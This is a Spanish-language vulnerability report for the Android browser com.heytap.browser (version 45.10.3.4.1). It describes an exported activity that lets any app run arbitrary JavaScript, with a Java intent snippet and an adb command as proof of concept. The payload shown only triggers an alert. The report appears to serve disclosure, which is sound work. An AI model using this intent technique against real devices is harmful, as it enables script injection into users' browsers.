com.heytap.browser

Informe de Vulnerabilidad

Resumen:

Se ha descubierto una vulnerabilidad en la aplicación com.heytap.browser en la plataforma Android. La vulnerabilidad permite a un atacante ejecutar código JavsScript arbitrario dentro del contexto de la aplicación sin necesidad de ningún permiso.

Detalles de la aplicación:

• Vendedor: - ColorOS
• Nombre de la aplicación: 'Internet Browser' com.heytap.browser
• Versión: 45.10.3.4.1
• Componente: com.android.browser.RealBrowserActivity

Detalles de la vulnerabilidad:

• Tipo de vulnerabilidad: Ejecución de Código JavaScript
• Vector de ataque: A través de un componente de actividad exportado
• Permisos requeridos: Ninguno

Descripción:

La actividad com.android.browser.RealBrowserActivity en la aplicación com.heytap.browser está exportada y puede ser invocada por cualquier aplicación de terceros sin necesidad de permisos. Una aplicación maliciosa puede aprovechar esto para ejecutar código JavaScript arbitrario dentro del contexto de la aplicación `com.heytap.browser``.

Prueba de Concepto (PoC):

{
        super.onCreate(savedInstanceState);

        String javaScriptCommand = "javascript:alert%28%27Test%20Alert%27%29%3B";

        Intent intent = new Intent(Intent.ACTION_VIEW);
        intent.setData(Uri.parse(javaScriptCommand));
        intent.setClassName("com.heytap.browser", "com.android.browser.RealBrowserActivity");

        startActivity(intent);

        finish();
    }

adb shell am start -a android.intent.action.VIEW -d "javascript:alert%28%27Test%20Alert%27%29%3B" -n com.heytap.browser/com.android.browser.RealBrowserActivity

Impacto:

La explotación exitosa permite a un atacante:

• Ejecutar código JavaScript arbitrario dentro del contexto de la aplicación com.heytap.browser.